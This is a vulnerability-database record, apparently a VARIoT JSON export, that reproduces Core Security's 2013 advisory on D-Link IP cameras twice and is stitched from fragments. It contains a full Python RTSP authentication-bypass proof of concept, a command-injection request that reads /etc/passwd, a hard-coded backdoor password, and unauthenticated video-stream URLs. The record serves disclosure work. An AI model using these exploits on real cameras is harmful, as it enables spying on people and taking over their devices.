Unauthorized response received. Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        \n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any)           \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468               ; Load from Memory\n.text:00011468 LDR     R3, [R11,#s2]\n.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2\n.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2\n.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR     R0, [R11,#var_C0] ; s1\n.text:00011488 LDR     R1, =asc_1B060  ; \":?*\"      \u003c-------\n.text:0001148C MOV     R2, #3          ; n\n.text:00011490 BL      strncmp         ; Branch with Link\n.text:00011494 MOV     R3, R0          ; Rd = Op2\n.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE     loc_114BC       ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2013-1602"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      },
      {
        "db": "BID",
        "id": "59569"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      }
    ],
    "trust": 2.52
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2013-1602",
        "trust": 3.4
      },
      {
        "db": "BID",
        "id": "59569",
        "trust": 2.5
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133",
        "trust": 0.8
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-029",
        "trust": 0.6
      },
      {
        "db": "PACKETSTORM",
        "id": "121452",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      },
      {
        "db": "BID",
        "id": "59569"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1602"
      }
    ]
  },
  "id": "VAR-202001-0842",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      }
    ],
    "trust": 1.407887033333333
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "IoT",
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      }
    ]
  },
  "last_update_date": "2024-08-14T14:12:01.463000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Top\u00a0Page",
        "trust": 0.8,
        "url": "http://www.dlink.lt/en/"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-200",
        "trust": 1.0
      },
      {
        "problemtype": "information leak (CWE-200) [NVD Evaluation ]",
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1602"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.5,
        "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
      },
      {
        "trust": 1.6,
        "url": "http://www.securityfocus.com/bid/59569"
      },
      {
        "trust": 1.6,
        "url": "https://packetstormsecurity.com/files/cve/cve-2013-1602"
      },
      {
        "trust": 1.6,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1602"
      },
      {
        "trust": 0.6,
        "url": "http://seclists.org/fulldisclosure/2013/apr/253"
      },
      {
        "trust": 0.3,
        "url": "http://www.dlink.com/"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/md/lums.cgi"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1599"
      },
      {
        "trust": 0.1,
        "url": "http://www.dlink.com/us/en/home-solutions/view/network-cameras."
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1600"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1603"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1601"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png."
      },
      {
        "trust": 0.1,
        "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/upnp/asf-mp4.asf"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      },
      {
        "db": "BID",
        "id": "59569"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1602"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      },
      {
        "db": "BID",
        "id": "59569"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1602"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-05-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "BID",
        "id": "59569"
      },
      {
        "date": "2020-02-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "date": "2013-04-29T23:41:50",
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      },
      {
        "date": "2020-01-28T22:15:10.840000",
        "db": "NVD",
        "id": "CVE-2013-1602"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-05-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "BID",
        "id": "59569"
      },
      {
        "date": "2020-02-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "date": "2020-02-12T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      },
      {
        "date": "2021-04-26T16:36:03.947000",
        "db": "NVD",
        "id": "CVE-2013-1602"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "plural \u00a0D-Link\u00a0 Information disclosure vulnerabilities in products",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "information disclosure",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      }
    ],
    "trust": 0.6
  }
}

var-202001-0841
Vulnerability from variot

An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. Advisory Information

Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release

  1. Vulnerability Information

Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603

  1. Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

  1. [CVE-2013-1599] to execute arbitrary commands from the administration web interface,
  2. [CVE-2013-1600] to access the video stream via HTTP,
  3. [CVE-2013-1601] to access the ASCII video stream via image luminance,
  4. [CVE-2013-1602] to access the video stream via RTSP,
  5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.

  6. Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1602] . ALL mentioned devices and firmware.

  1. Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

  1. Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

  1. Technical Description / Proof of Concept Code

7.1. OS Command Injection

[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi':

/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:

/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:

/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/

7.2. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:

/----- O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o O O O O O O O O O O O O o o o o . o o o o o o o O O O O O O O O O O o . o O O o . o o o o o o O O O O O O O O O . o o o o o o O O O O O O O O . o o o o o o o o O O O O O O O . o O O o . o o o o o o o o o O O O O O O o . O O O O O O . o o o o o o o o o O O O O O O . O O O O O O O . o o o o o o o o o O O O O O O o O O O O O O O . o . o o o o o o o o O O O O O O o O O O O O O O . o o o . o o o o o o o o O O O O O O o O O O O O O o . o O O o O O . o o o o o o o O O O O O O . o O O O O O O o . O O O o O O . o o o o o o O O O O O O . O O O O O o . O O o o O O o . o o o o o o O O O O O O o O O O O O o . o O O o o O O o . o o o o o O O O O O O O O O O O O . o O O o o O O o . o o o o o O O O O O O O . o O O O o . o o o O o o O O o . o o o o O O O O O O O o . O O O o . o o o O o o O O o . o o o o O O O O O O O O . O O O . o o o O o o O O o . o o o o O O O O O O O O O O O . o o o O o o O O o . o o o O O O O O O O O o o O o o o o o O o o o O o . o o o O O O O O O O O O . O o o o o o O o . o O o . o o O O O O O O O O O . O o . o o o o O . o O o . o O O O O O O O O O o o . o o o o o . o O o . o O O O O O O O O O O . o o o . o . o O o . o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .

-----/

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

  1. Authentication is only present in DESCRIBE requests but not in every subsequent request.
  2. When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead).

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'

class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.CSeq:\s(\d+?)\r\n.', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.
%s\s(.+?)[;|\r].' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass
return data

if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
-----/

7.5. RTSP Hard-Coded Credentials

[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.

/----- username: (any)
